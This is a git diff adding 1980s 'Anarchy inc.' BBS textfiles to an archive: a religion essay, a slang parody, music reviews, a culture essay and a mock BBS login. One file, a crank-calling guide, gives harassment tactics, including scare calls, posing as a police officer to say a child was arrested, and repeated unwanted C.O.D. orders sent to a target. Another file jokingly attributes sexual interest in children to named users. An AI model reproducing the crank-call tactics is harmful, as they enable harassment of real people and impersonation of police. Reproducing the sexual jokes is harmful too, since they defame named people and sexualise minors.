||||||// ||| ||| ||| ))) Running: Citadel v2.17 + author would =WANT= you ||| ||| ||| ||| /// About 20 Megs of TextFiles + to call... ||| \\|||// ||||||/ and the SysOp is Mr. Pez. + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/confusio.hum b/textfiles.com/groups/ANARCHYINC/confusio.hum new file mode 100644 index 00000000..854e3f0e --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/confusio.hum @@ -0,0 +1,143 @@ +Religion a view by The Daredevil of Anarchy inc. +-------- + + Religion is a funny thing. People worship God (Budda/Mow/whatever) in their +own way. But, you can get in a lot of "trouble" if you don't worship God in +somebody else's way. Such is the case with the persecution of Jews, Moonies, +Hari Krishnas, etc. The Bible, is put down by a lot of people as being "...just +another novel full of stories..." Well, true. It is full of stories. But, +these stories give people a base to live life upon. Some people accept that God +exists as a "truth". Imagine trying to convince a Jew that God doesn't exist. +It's the same thing as trying to convince a machine language programmer that +PILOT is better. Bother the programmer and the Jew will pass you off as crazy. +See? So, people, don't bother trying to convince somebody that one religion is +better than the other. Mind you, you can prove that one thing is better than +the other (ie, Macintoshes and Timex Sinclair). But religion is not one of +those things. Trust me. (...said the spider to the fly...) + + Now, I've found that some people cannot sleep without knowing that there is +somebody watching over you. Imagine, if you will, a world without God. Now, +first, we suffer from lack of love and compassion. How!? Well, look at it this +way. Now, if you have no God, then people have no sense of security. (...think +of Linus's blanket, from Peanuts...) They know that the Universe is a massivly +huge place. [I don't want to go into how big it really is. Douglas Adams +already outlined it in "Hitchhiker's Guide to the Galaxy". Just trust me, it's +big.] They know that after they die, there is no place for them to go. They +know that it doesn't matter what kind of person they are on this world. +Everybody goes to the same place when they die. Where? To an eternal sleep. +So, people are generally bad, cruel, uncaring, numb human beings. Human. +Underline that word. Why do I say that they are bad? Because good people don't +get very far in life. "NO! They go to heav-" No. There is no heaven. So, +therefore, people see no reason for love, and as generations go on, they become +even more filled with hate and disregard for laws, life, love, and anything else +that should come along their path in life. Good guys finish last, right? "NO! +They get to go to heav-" Nope. There is no heaven. So, therefore, nobody +cares. + + WRONG!!! -------- -------- + + + The Bible gives these people comfort, and lets them feel that there is +somebody that loves them. That there is somebody to take care of them when they +are in need. That there is somebody out there, watching them. That doesn't +mean that The Bible is for everybody. It isn't. Call these people weak, if you +must, but at least they're assured. What do I mean by that? Well, who's to say +that God doesn't exist. Can you prove it? Who's to say that God does exist? +Can they prove it? Yes, each side can prove it! Huh? Therefore, this cancels +both these theories out. See? There is no God, yet there is. It can be +proved. Now, here's another intresting point. "...faith denies proof, and +without faith I am nothing..." THAT'S TRUE. But, this doesn't even have to +interact with God. It can work with anything, that has been proved, and then +not proved (and proved again...and not again...and again...programmers call this +an endless loop. Congress calls this a working system. Bad joke.) This quote +(i guess it's a quote...from who? From God. But I thought you said he doesn't +exist! No, I said that it's been proved that God doesn't exist. But it has +been proved that he DOES exist. That's correct also. HUH!?) can work with +anything from UFO's, Aliens, the Supernatural, and Ron VanZuylen. See my +confusing point? But, if it's been proved that he does exist, then proof denies +faith, and without faith, he is nothing. So, therefore, he is nothing. But, +what about all these people with Bibles, and all the churches? They must have +put/wrote them for a reason? The reason? Comfort. Oh, I thought I'd mention. +How does one prove that God exists? Why would all these massive amounts of +people worship him if he didn't? If God causes miracles to happen, then these +miracles are proof! Then again, what is proof? It's evidence. It's the facts, +bud! But how can you have facts? Can you prove that Ron VanZuylen exists? [I +realise that this a crude example. Let's use some- thing like Japan.] Can you +prove that Japan exists? Ever been there? You haven't? Maybe Japan is an +elaborate joke from the US Goverment, and accually you're going Toledo. All +japanese are chinese? Or maybe all these Japanese are from Toldeo! Riiiiiight. +Nobody in their right mind would believe that. Prove I'm wrong. Heh. Oh, you +have a picture of Japan. Ever hear of Universal Studios? OH! I forgot to +mention. Can you prove that I'm right? Therefore, nothing can be proved. See? +Thank you. Thank you Mr. Moon Roach. Now, if nothing can be proved, then +there is no religion. But, I'm not here to disprove Japan, Ron VanZuylen, +Religion and God, VanVision CBBS, or anything else. Perhaps I've gone off on +too many different tangents. ("Sex?" "Shut up Ron.") Have I confused you yet? +Drat. You're following all of this. + + Now, what I've been attempting to grasp in this whole semblence of a +statement, is that nothing can be proved, so knock off trying to disprove +things, or even prove them. In this case, we're talking about Religion here. +So, let's, for the sake of arguement, say that every religion is real. +Everybody is correct. I can't end this file saying that everybody is incorrect. +That would bother some people. But, let me end it on this note: + + Everything is correct, and real. Everything is also incorrect, and unreal. +Both these statements can be proved. Nothing can be proved. Nothing can't even +be proved. Therefore, everything cancles itself out, and we're all nice and +confused once again. Now, perhaps you can understand why some people take +drugs, right? They're victims of reality. What a wasteful pity of a human +mind. Exposed to reality at a young age. Don't blame them. + + [Authors Note] + + At the rate I'm going, this textfile could go on forever. Or at least until I +run out of buffer space. I started out on religion, and ended it on the note +that people who take drugs aren't ready for raw reality. Strange. That's what +I get when I don't write anything in a long time, and all these weird odd ideas +form in my overtaxed mind. I can't call this file RELIGION. That would confuse +too many people. I can't call it "FUCK!! volume two". This file shall be +known herein as "MASS CONFUSION VOLUME ONE". Fair enough? Oh yes, I had a +disclaimer to print also... + + [Disclaimer] + + I referred to God as God, as most people call him. However, God in this +textfile shall be symbolized as anything that is worshiped by one or more +people(s). So, don't get angry if I didn't mention your God. + + I also referred to God as being a "He". You'll have to excuse me for that. +We cannot prove that God is male, or female, or either, or both. Now, I don't +want to start disproving proof again, because I'm getting confused by my own +writing now! + + [Last Notes] + + Drugs. Alcohol. Sex. Insanity. Violence. Lobotomies. Fantasies. These +are a few of the things used to escape from the grim, bare, naked, nitty-gritty, +down-to-the-earth reality. Reality is horrible, and it shows us running around +this misrable little planet off in the corner of the Universe, creating things +to tear them down, living only about forty years out of the BILLIONS AND +BILLIONS AND BILLIONS (etc.) of years that the Earth has existed. Am I scaring +you? That's life. Is it? No. Prove it. Shut up, Daredevil. + + [Credits] + + Ideas for this file were derived from: The Moon Roach + Ron S. VanZuylen + Ruby Tuesday + The Princess (Leia) + Eric C. Thompson + and some funny lady on a bus that tried to give me + a pamplet on Christianity. + +Created by The Daredevil (Harrison) of Anarchy inc. (4/28/85 - Sunday morning) + +Anarchy inc. "We take care of our own." + + The Daredevil, Alexander of Atlantis, Senator Bunker, Dark Shadow, Surf Rat, +Havoc The Chaos, A Modem User, The Moon Roach, Eric C. Thompson, Ruby Tuesday, +Lord Omega, Ron S. VanZuylen + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/crankcal.fun b/textfiles.com/groups/ANARCHYINC/crankcal.fun new file mode 100644 index 00000000..d68f4631 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/crankcal.fun @@ -0,0 +1,74 @@ + + + ------------ + Anarchy inc. ----------------- + ------------ Proudly Presents: + ----------------- + + .:How to Properly Crank Call some poor fool:. + Written by: ((.)) The Bullseye! + + Well, you will probally say, upon reading the title, that you already know +how to crank call somebody. Not really...There are many different ways to +crank call a person, mentioned below in several catagories. + + Why crank call a person, you might ask? Well, some people flat out deserve +it. Like the tough kid in your class, or the kid with the parents who don't +give a hang what the kid does...It's these kind of people that deserve what +they get. I don't like crank calling people just because "They're +ugly","They're a dork.", etc. Only crank call people if they deserve it, and +if you want to have some serious fun. + +.:Silly stuff + + I don't like making silly crank calls. These are the childish ones like +giggling into the fone, leaving harsh messages on people's answering machines, +screaming and hanging up, or something else dumb. I don't waste my time with +these, as you can get pinned for these most often. + +.:Scared? + + Well, I have several ideas on this subject. One of the most cruel, is "Check +on the Baby!" or "Don't come out of the house!" or something nasty to that +effect. My favorite conversion goes like this: + +Them: "Hello?" + +You: "Hello. My name is (Whatever) from 'S' & 'M' Industries, and we'd + like to confirm your order of (whatever, usually sexual stuff.) + that you phoned in last weekend." + +Them: "I did not!" + +You: (State their address, fone #, etc.) and say that the order has already + gone through, and will arrive shortly, anytime from now, to six + weeks. + +Them: "Gag." + + Use a calm speaking tone when doing this, and insist that they ordered it. +It's such fun. + + For parents with kids who are real hell-raisers, call up and say that you are +Officer (Whatever, use a real cop-name) and that their son has been picked up +on charges of (Tresspassing, Indecent Exposure, Prostitution, or whatever) and +they you'd like for the adult to come get the child. Really disrupts a +household. + +.:Other things to do... + + Well, if you REALLY dislike somebody, call one of those 800(toll free) +numbers, and order them something, C.O.D., of course...Something useless, like +kitchen knives, 3-D Graphic Plotters, and other things.) This pisses people +off, especially when you do it three times in a week. + + When you crank call, have guts. Don't just call up, scream "FUCK YOU!" and +hang up. What you SHOULD do is call up, scream "FUCK YOU!" and wait for an +answer...They usually hang up, which is a real pity. When they threaten to +call the police, remember that this takes time. In this time, have fun! + + That's about it, or that's all that comes to mind at this point. Remember, +you don't know where you got this information from, once again. + + ((.)) The Bullseye [[.]] + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/dancestr.hum b/textfiles.com/groups/ANARCHYINC/dancestr.hum new file mode 100644 index 00000000..ff9fe4e1 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/dancestr.hum @@ -0,0 +1,85 @@ +A:\TEXT\STREETS.TXT (11-Feb-86) 70 lines/80 columns/7-bit ASCII +edited at VANC0 by R.VAN for public distribution -- not for resale + +"WHY DON'T PEOPLE DANCE IN THE STREETS?" +---------------------------------------- + There are appealing aspects of other cultures we Americans haven't yet +stolen, bought, allowed to immigrate, or copied. + + For four centuries, even before America became the U.S., this land was +the great melting pot. It absorbed pieces of nearly every other culture in +the world. Often those pieces were the wrong ones. We allowed in the Mafia +long before we heartily embraced pizza, for instance. + + On the other hand, we have been remarkably slow in adopting some comely +features of other civilizations. Why haven't we integrated the siesta into +our work day? Why don't we all celebrate, as they do in Rio de Janeiro, +Carnival? (Ok, so they do in New Orleans, but where else?) Why do we drive +on the right instead of the left? There are too many tasty customs from other +countries we don't give a single thought. + + Can you imagine what life in America might be like if we had ancestors +with the foresight to apply even a few of them long ago enough for you and I +to enjoy them? But no. We are, and always have been, too self-involved. +Narcissistic, even. While others in the world played, we worked. Backed by +the Puritan habit, we became giants of commerce, militarily powerful, +scientifically advanced. But we forgot to smell the freesia, and today +America is a nation without a cultural identity (except for music videos). + + What does a young United Statesperson have to look forward to? We have +turned our lives around-- leisure time occurs in the early years, until school +is out; then, we work ourselves right to death. Retirement? Sure, when we're +old and frail. It doesn't make sense. Most of us live vicariously, surrounded +by images visual and auditory which draw the sap in our veins leaving our +bodies prone in front of the VCR, or whatever. + + We are guided through our years by a rigorous calendar that allows us to +give flowers on Valentine's day, to honor our mothers one day a year, to escape +for the weekend only four or five times. The rest of the year is to work and +to work out. + + We're in a pityful mess. Look... I think it ought to be this way: + +"PEOPLE ARE DANCING IN THE STREET!" +----------------------------------- + Parents should be allowed to raise their young children until about age +eight without having to work overlong. When the kids hit eight, they should +be funneled into the school system all year long from nine-to-five until they +escape at about age twenty-one. + + That way, parents could, you know, work part time and socialize their kids +with other families doing family stuff. Social security could provide funding +for these years. When the kids (say, a maximum of four) are in school for +those 13 to 18 years, the parents could work as much as needed to repay Social +Security and get ahead in the world. + + When the last kid is out of school, every family should be allowed one +last, year long, vacation together. Then the kids could go about their own +business and the parents could go their own way, too. + + So. Let's say between the ages of 21 and 27, everyone could do whatever +they want without undue pressure. You could be an artist for six years and, +if it shouldn't work out, well, no harm done. Get it? + + After the final family vacation is over, the parents would be, let's see, +say about 55 or so. That would be a good time for four or five years of +community, or civil, service. After that, a few years of federal service. +When the aging parents hit 65 or so, they would go into educational service, +staffing schools and research installations and the like. + + Why, it would be nirvana! + + During all of this nirvana, it would be important not to work too hard. +There goes the idea of siesta. And regular parties would be important, too. +Parties for everyone, not just politicians. + + There's a lot to be said for how things should be. And we do really have a +lot of our values turned upside down. Perhaps we could persuade president +Reagan to seek cultural aid from countries the cultures of which we admire. + If we get enough cultural aid, he might not have to raise taxes. + +*** The following comment has nothing to do with the previous text: *** +"A San Francisco lady left her $175,000 house to her dog? I bet he +sells it and buys 50 tons of Alpo dog food."-- Ron S. van Zuylen +rancisco lady left her $175,000 house to her dog? I bet he +sells it and buys 50 tons of Alpo dog food."-- Ron S. \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/daveconc.hum b/textfiles.com/groups/ANARCHYINC/daveconc.hum new file mode 100644 index 00000000..9dd8919f --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/daveconc.hum @@ -0,0 +1,75 @@ + + + ------------- + The Anarchy, Inc. People present.. + ------------- + + + Dave's Concept Workshop #1 + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + D is for Dumptruck. I knew that, you know that, and those uh, people +over in England certainly know it. You see, they're a band, and they've +managed to put together two albums. It's enough to make you ill. + In my relentless quest for some good modern music to listen to, I have +long since given up such things as KITS (Hot Hits!), T0P 40, and MTV; leaving +me to portend with the underground movement: the Quake (defunct), NightMusic +(also defunct), and college radio (as good as defunct). + Now wait a second. I'm beginning to hear a lot about the college radio, +but 1) my antenna is so bad i can't recieve any of them very well, and 2) what +I do get sounds like screaming lunatics spewing sultry dance rhythms softly on +magnetic tape without any regard to whether or not their music is danceable. + + My situation has gotten so desperate recently that, yes, I have even been +willing to Spend Money just to listen to something pretty decent. And since +Spending Money means record stores, I've chosen the two best: Tower with the +selection, the Record Factory with the return policy. Well, I walked into +Tower Records this past weekend and was quite astonished at what I saw. + It seems the "Techno-synth-dirge-pop" of the early '80s has been replaced +by "Mello-sillypop" and "Death-cult-blood-and-guts-pop" and "This-is-getting- +ridiculous-pop".. Just look the titles in the import section and that'll give +you the whole story. + + Yes, there is a "D is for Dumptruck". There are also "Prefab Sprout" and +"The Plutonium Babies" (you thought the Butthole Surfers were bad enough.. +(they are)). If you look harder you can find such groups as "Postwar" and +"Dirty Donkey Dung". If you look for the Rhino label, you'll find such +classics as "the Royal Ketzenbarger Orchestra performs some of the old Kinks +tunes". Or something like that. I'm not kidding. + If you want to pay $6.99 to hear Lint Brush Residue sing the 12" (remix) +of "Back in the Cellar Again", you just go ahead. + + I spent hours wading through the mess looking for some pretty good music, +and here's some of what I found.. + + Ultravox: "Lament" (12"), "Dancing With Tears in my Eyes" (12"), + "Systems of Romance" (LP) + New Order: "Sub-Culture", "Blue Monday/The Beach", + "Shellshock" (all 12") + Animotion: "Obsession/I Engineer" (12") + Marillion: "Brief Encounter" (mini LP) + Jean Michel Jarre: "Zoolook" (LP) + Dead or Alive: "My Heart Goes Bang", "Lover Come Back to Me" + (both 12") + Bauhaus: "She's in Parties" (12") + Joy Division: "Still" (LP) + Grace Jones: "Slave to the Rhythm" (12") + Sly Fox: "Let's Go All the Way" (12") + Harold Faltermeyer: "Axel F" (12") + Nina Hagen: "Universal Radio" (12") + a-ha!: "The Sun Always Shines on TV" (12") + Midge Ure: "The Gift" (LP) + + I don't know... maybe I just don't want to spend $6.99 on a Husker Du LP +without having the foggiest idea what's on it. But that's no excuse to give +up our relentless quest for some pretty decent Modern Music. It's either that +or t0p 40, folks, it's all we got. + + * * * * * * * * * * * * * * + brought to you by those really mellow folks at + the Darque Side, 408/245-SPAM + call today, and vomit. + +apr1986, anarchy, inc. + +(> \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/deffools.hum b/textfiles.com/groups/ANARCHYINC/deffools.hum new file mode 100644 index 00000000..76e93fe7 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/deffools.hum @@ -0,0 +1,145 @@ + ------------ + Anarchy inc. ...presents... + ------------ Definitions for the Uninformed! 2/85 + Written by: Eric C. Thompson of Anarchy inc. + + Introduction + ------------ + I realise that this text-file will be, at the most, useless to the computer +and modem users that consider themselves well-informed about the latest teenage +slang words. However, I realized that some users, like Matt Ackeret, Mr. Wang +Bang, and Commander Video are young, and sheltered, and might not be able to +keep up with the endless listings of teenage slang. In the chapters to come, +I'd like to help users like the ones listed, and countless others to the world +of slang and such. + + + + Chapter I: General definitions + ---------- + + [Disclamer: I hope that younger computer users, like Gandalf the Grey and +WoLvErInE LoGaN, aren't offended by the use of supposed malicious words and +such. We here at Anarchy inc. aren't responsible for angered parents who take +things like this the wrong way, and take it out on their children.] + + +FUCK: This means that the person who said this wishes to have sex. If + he/she says:"FUCK YOU!" then they wish to have sex with you. One + should stay away from these perverts, and ignore them. They only + want to use you. + +SHIT: This is the excretion of human waste, and if somebody happens to + type:"SHIT!" that means that you should get out of the area, as not + to embarrass them, and remind them to clean up the mess when they are + done. + +GODDAMNIT: The person who says this is highly religious, and wishes the lord + above to damn a certain person, object, etc. They usually refer + to their modem, when it overheats or a busy signal from the local + popular Bulletin Board System. + +DICK: This is a negative statement, and one usually refers to another like: + "OH, YOU'RE SUCH A DICK." A dick is a plainclothes cop, as said in + the 1930's(i.e. Dick Tracy, etc.). You should explain to them, in + plain terms, that you are not a police officer of any kind, and you + aren't going to arrest or shoot them. + +PUSSY: In case you don't know, this is a cat. When somebody says something + along the lines of "EAT PUSSY", then this means that they are into + animal lust, and they should be avoided at all costs. Whoever would + want to eat a cat is beyond me. Chicken, when cooked, tastes better. + +SNATCH: To snatch, is to steal or take an object that doesn't belong to you. + If somebody should remark:"GRAB SNATCH", then they are a kleptomaniac + and should not be allowed to come along on trips to the local + shopping mall. It should also be noted that they have poor english. + +COCK: Again, the use of animal's names is quite popular among those who + use slang. If you hear the sentence:"BIG LONG HARD STIFF COCK", then + they are referring to a tall, rigid male chicken. To:"SUCK COCK" is + kinky, and again, stay away from those who use animals during sexual + intercourse. + +COCKSUCKER: One who uses animals during sex(see above.). + +BLOWJOB: This is like a "lubejob", and it involves automobiles. Mechanics + seem to know what they're doing, as I'm not taking any autoshop + classes. If a male asks a female:"GIVE ME A BLOWJOB." then he + wants his car oiled. + +BITCH: A female dog. People who refer to others as "BITCHES" aren't too + smart, and should realise that dogs don't have a thumb, and therefore + can't type. They also aren't smart enough to press CTRL-Q,D. Even + when taught. + +HORNY: Covered with spikes. Very few people have horns, and they are usually + referring to lizards and other such reptiles. I don't think that + reptiles are used during sexual intercourse, but knowing people today, + I wouldn't be in the least shocked. + +BEAT OFF: I believe that this is the title of Michael Jackson's song, from + his Thriller album. But, being that I don't listen to music played + on the radio, I'll have to check up on this fact. If you see the + sentence, "MATT ACKERET BEATS OFF!", then this probally means that + he is a good breakdancer, and is black, only wealthy enough to wear + on glove, and talk in a high voice. + +CUM: This is a radio station, and I believe that it is 94.5 on your FM + dial. They play loud rock music, and I think they forgot the 'K' on + the start of the word. When girls say that:"CUM TASTES GOOD.", this + means that they probally had sex with the dj, or something. + + + + Chapter II:How to use these words in sentence form. + ----------- + + Well, first I will list several sample sentences, and define their meaning. + +"FUCK YOU MAN, GODDAMN COCKSUCKER." + This means that the one who addresses you wants to have sex with you, + then damn you, because you have sexual relations with chickens. You might + want to stay away from him, as he might rape you, and then damn you. + +"EAT PUSSY, MOTHERFUCKER!" + This person wants you to eat a cat, and make love to your mother. I'd + suggest you warn your parents, and out kitty out for the night. + +"SUCK MY DICK, FUCKHEAD!" + I believe this person has problems with the useage of English language, + as he suggests you "suck" on a 1930's policeman, and he/she wishes to do + nasty things to the upper region of your body. Avoid this person. + +"GODDAMNIT." + The person's views are not clear, as you don't know what they wish to have + damned, unless you can see them pointing at something, like a cat or a + 1930's cop. Ask them to clarify their intent. + + Conclusion + ---------- + Well, I hope you now understand what most slang words mean. I will attempt to +write another volume of this file, if I can find out some more words to define. +Note that I figured out the meanings of all these words by myself, and personal +experiences. However, note that I do not make love to cats. + + + + -Sincerely, + Eric C. Thompson + of Anarchy inc. + + //.....................................\\ + || Anarchy inc. || + || "We take care of our own." || :.Coming Soon.: + || The Daredevil, Havoc The Chaos, || "The Anarchist Manifisto" + || The Moon Roach, Ruby Tuesday, || by the Moon Roach + || Surf Rat, The Sheik, Dark Shadow, || "The life and times of + || Ron S. VanZuylen, Eric C. Thompson, || Eric C. Thompson." + || A Modem User, The Anarchist, || "Roofing! A complete guide!" + || Someone Else, Alexander of Atlantis,|| by Havoc The Chaos + || Teeny Bopper, DB Cooper, || ...and much more... + || Pleasure Victim, & Torqa Dun. || Call the VanCo Chat line at: + \\.....................................// (408) 732-107 +Anarchy inc. "We take care of our own. Don't make us take care of you." + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/favsexpo.hum b/textfiles.com/groups/ANARCHYINC/favsexpo.hum new file mode 100644 index 00000000..b51f4243 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/favsexpo.hum @@ -0,0 +1,60 @@ + + ++* Sexual Preferences *++ + Of Users That + We All Know Well + ----- + Written By: Teeny Bopper + & + Surf Rat + + ...An Anarchy Inc. File... + + +The American: Communist Women +The Jackyl: Anything that Moves +Champion Eternal: 70 year old women and up. +The Sabre: Young Little Girls +The Daredevil: Small Barnyard Animals +Surf Rat: Blonde 14 year old cheerleaders +Teeny Bopper: Young British Pop stars and mods. +Havoc T. Chaos: Rutebegas +Matt Ackeret: Fire Hydrants +The Quazar: Large Stiff Snails +Dragon Lord: Turtles +Rod Serling: Mental Patients +Princess Leia: Barbie Dolls +Enchantress: Anything in the back-seat of a mustang. +Modem Uzer: N/A +The Sheik: Motor Queens +Kid Vicious: Anything in Leather +The Anarchist: Aligator Clips +Alexander of Atlantis: Breakers +Piranna Fish: Anything that kicks +Olympic Goddess: Ken Dolls +The fissure: Star Wars Figures +Lambda Boy: Little Boys +Lord Omega: Stoners +Inver Brass: Female Pheds +The Oracle: Godesses +Eric C. Thomspon: Zucchini +Darc Deathe: Northern Women +Ruby Tuesday: Bearded Men +Blue Adept: Blonde Detectives +The Aussie: Sea Lions +The Saracen: Fast Women +King Arthur: Ladies of The evening +The Unbuckler: Zippers and Buckles +WolVerInE LogAN: Shift Keys +Terri Pryde(?): Bikers +The Moon Roach: Tripple Breasted Whores from Eroticon six. + +Well..Give more suggestions! Coming soon! Favorite Sexual Positions of Users +by Teeny and Surf. + +Anarchy Inc: + + =-----------------= + Anarchy Inc. + "...We take cares of our own..." + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/fccooman.hum b/textfiles.com/groups/ANARCHYINC/fccooman.hum new file mode 100644 index 00000000..960faf1a --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/fccooman.hum @@ -0,0 +1,488 @@ ++-------------------------------------+ +! ! +! Nowonkanu FCC Too Many: ! +! Journey into the Unwanted Zone ! +! ! +! Written by Fritz Mertens ! +! 5/8/85 ! +! ! +! Realm of the Rogues:415-941-1990 ! +! The Haunted House :415-941-7256 ! +! Greater Los Angeles:415-854-0684 ! +! South Side of the Sky: 408/738-1685 ! +! ! ++-------------------------------------+ + + ------------ + Anarchy inc. + ------------ + + + Due to the recent influx of billions and billions of Nwonknu BBSs, there was +ample room, and sufficient need for a parody. Remember to take this in the +light-hearted humorous manner in which it is presented. Thanks to Ken, cause if +it weren't for him, this T-file just wouldn't exist! So, without further ado, +on with the great adventure into the Unwanted Zone! + +======================================= + +AE: Term--> + + +You have made it to: + +The one... +The only... +The truly incomperable... + +The Nowonkanu FCC Too Many + + Sysop:Ken Homrich (Nowonkanu) + -=-=- + +Co-sysops:The Unbuckled +-=-=-=-=- Kristy + The Outlawed + Mr. Mischevious + The Biter + Black Panther + Angry Hacker + The Snake + Lady Azure + The Thai-Pan + A Stool + and a cast of thousands! + +Enter Password (or 'NONE') :~~~~ + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Please use this menu to configure +THE NOWONKANU FCC TOO MANY +to your terminal -- + +L - Linefeeds............ON +D - Printer Delay........0 +C - Case Toggle..........LOWER +W - Screen Width.........40 +T - Twirling Cursor......OFF +K - Keyboard.............QUERTY +S - Kitchen Sink.........OUT +Q - Quit This Section + +Enter (L,D,C,W,T,K,S,Q,?) :Q + + + Welcome to my (and only mine, never forget that, it's all mine, and what's +mine is mine!) system. Make sure you use the "I" command once on, or the Great +God Nowonkanu will smite you down. If you have any comments/ +donations/complaints/donations/ suggestions/donations/questions/ +answers/DONATIONS or just want to write me, please feel free to leave +"F"eedback. Also, I will be calling you (voice), so leave me a message leting +(sic) me know when to call. All this information will be recorded and sent to +the F.B.I, so leave correct information. Thanks! + + Please give alias below... + +Please answer the following questions- + +What do you wish to be called? +>JHONNY THE AVENGER + +Format: [XXX-XXX-XXXX] +Enter your 'voice' phone# :415-326-4930 + +You are JHONNY THE AVENGER +Phone: 415-326-4930 + +Is this correct? Y + +Checking user file...OK + +Answer these questions for our records: + +Real Name (full):MAXWELL SMART +Birthdate (Format:MM/DD/YY):02/29/72 +Social Security #:865-56-9845 +Mother's Maiden Name:SWENSON + +Visa/Mastercard #:4128 426 238 925 +Expiration date:05/86 +Credit limit (in $):2000 + +Home address: +#/Street:321 RIDGEWAY DRIVE +City:REDWOOD CITY +State:CALIFORNIA +Country:UNITED STATES +Continent:NORTH AMERICA +House color:GREEN + +How much will you donate to this +system (in $10 increments):0 + +** INSUFFICIENT RESPONSE ** + +How much will you donate to this +system (in $10 increments):10 + +Are you sure? Y + +Do you want a [P]assword, or to just +look around as a [G]uest? :P + +Please enter a four letter combination +to be used as part of your password. + +Password letters:FBI1 + +Your Password is --> 69FBI1 + +Please make a note of your new password +and be very careful not to lose it, +else the wrath of Nowonkanu be upon +you! You will need it each and every +time you log into +THE NOWONKANU FCC TOO MANY... + +Press any key to enter system: + +On-Line: JHONNY THE AVENGER + +Good Lunchtime! It's 12:12:12 PM. + +Last Caller was: CRACKERJACK KID + +(Sorry, no mail waiting for you.) + +-=-=- A N N O U N C I N G . . . -=-=- + +[CTRL-S 2 PAUSE/SPACE 2 QUIT] + +7th of May: + +Wow! We just got a K-K-K00l new user, +and I think we should all bow and +scrape to him, he's so K-RAD! His +name is Mr. Magneto, and he comes to +us from the superior BBS of The Lost +Land. He's way up in the levels +there, but is only level 3 here! He +decided to bless our BBS, and start +calling here, wow, isn't that neat? +Well, he might run a game, if we ask +him pretty-please, and give him hard, +cold cash. So get your wallets out, +and salute our new user, Mr. Magneto! + +I'm just tickled pink to welcome Mr. +Magneto to our BBS...Wow! + +Ken + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + The Nowonkanu FCC Too Many Main Menu +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +[A] Announcing... =-= [*] Boreds List +[B] K-K-K00l BBSs -=- [$] Upset Change +[C] Chat with Ken =-= [&] New Boarder +[D] Delete Drivel -=- [%] All Boarders +[E] Electric Mail =-= SysOp: +[F] Feed the Sysop-=- Ken Homrich +[G] General Sex =-= +[I] Info/T-shirts -=- Co-SysOps: +[L] Last 10 Losers=-= too many to list +[M] List of Losers-=- +[N] Peek NewMsgs=#= Call Nowonkanu's +[O] Get Off Now. -1- (415) 555-4194 +[P] Post Drivel =2= (415) 555-3831 +[S] Scan Drivel -3- (415) 555-9865 +[T] Time to go =4= (415) 555-3705 +[V] Vote 4 Nothin -5- (415) 555-5179 +[Y] Yer Status =6= (415) 555-2306 +[!] Get Off Quick -=- More on [B] list +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[GOD I'M GOOD....] +[1]: THE MAIN BOARD +[?=MENU] COMMAND:I + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +-=- System Info/Rules/T-Shirt Info -=- + +[CTRL-S 2 PAUSE/SPACE 2 QUIT] + +This System is run on: + +Apple Hard Drive +Clock Modem +Screen Printer + +Rules for Users: + +No Swearing No Phreaking +No Hacking No Pirating +No Alcohol No Sex +No Drugs No Rock & Roll +No Nothing! Be Mature +Be Polite Be Prepared + + ** D O N A T E ** + +System Location: +The Nowonkanu FCC Too Many +C/O Ken Homrich +123 Main Street +Your Town, USA + +T-Shirt Info: + +The Nowonkanu FCC's are offering to +create iron-ons for t-shirts for +outrageous prices; only $10 each, +$50 for 4. These are guaranteed to +fade within a month, or you can buy +another at full price! Just give us +a pic (in apple readeble (sic) form +unless it is a text picture). If you +don't have AE to upload it, tuff +beans, that'll cost you xtra $$$! +Send the bucks and pic to the above +address, and we'll make sure to get +to your order in the next 3 months. + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[LADY AZURE IS A LAZY BUM!!] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :B + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +-=- K-K-K00L Bulletin Board Systems -=- + +[CTRL-S 2 PAUSE/SPACE 2 QUIT] + +The Nowonkanu FCC 1........415-555-4194 +The Nowonkanu FCC 2........415-555-3831 +The Nowonkanu FCC 3........415-555-9865 +The Nowonkanu FCC 4........415-555-3705 +The Nowonkanu FCC 5........415-555-5179 +The Nowonkanu FCC 6........415-555-2306 +The Nowonkanu FCC 7........415-555-8528 +The Nowonkanu FCC 8........415-555-3756 +The Nowonkanu FCC 9........415-555-4576 +The Nowonkan + + List by The NOWONKANU FCC TOO MANY + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[CALL THIS LAME BBS: 415-555-4194] +[1]: THE MAIN BOARD +[?=MENU] COMMAND :L + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + -=- Last 10 Losers -=- + +- Ago - Name of Loser - Lvl - +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +- 1 - CRACKERJACK KID - 2 - +- 2 - THE UNBUCKLED - 8 - +- 3 - KEN HOMRICH - 9 - +- 4 - LADY AZURE - 8 - +- 5 - KEN HOMRICH - 9 - +- 6 - KEN HOMRICH - 9 - +- 7 - KEN HOMRICH - 9 - +- 8 - THE UNBUCKLED - 8 - +- 9 - KEN HOMRICH - 9 - +- 10 - KEN HOMRICH - 9 - + 